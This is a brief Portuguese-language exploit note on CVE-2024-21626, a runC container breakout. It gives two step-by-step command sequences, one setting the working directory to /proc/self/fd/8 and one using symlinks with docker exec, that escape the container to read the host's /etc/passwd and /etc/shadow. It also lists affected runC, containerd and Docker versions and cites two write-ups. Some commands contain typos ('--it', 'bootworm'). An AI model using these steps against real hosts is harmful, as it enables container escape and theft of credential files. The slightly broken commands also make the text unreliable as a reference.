CVE-2024-21626

Exploit (Diretório de Trabalho)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

• Importante é colocar -w /proc/self/fd/8\
• Acesse o sistema de arquivos do host usando cat ../../../../../../../../../etc/passwd dentro do container

Exploit (Symlink)

1. docker run --name cve-2024-21626 --rm --it debian:bootworm
2. Dentro do container - ln -sf /proc/self/fd/7/ /foo
3. Dentro do container - ln -sf /proc/self/fd/8/ /bar
4. docker exec -it -w /bar cve-2024-21626 sleep 120
5. Dentro do container - ls -F /proc
6. Dentro do container - cat /proc/9/cmdline (encontre o PID do comando sleep)
7. Dentro do container - cat /proc/9/cwd/../../../../../etc/shadow

Versões vulneráveis

• runC: >= 1.0.0-rc93 e <= 1.1.11.
• containerd: >= 1.4.7 e <= 1.6.27, e >= 1.7.0 e <= 1.7.12.
• Docker: corrigido na versão 25.0.2

Fonte

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626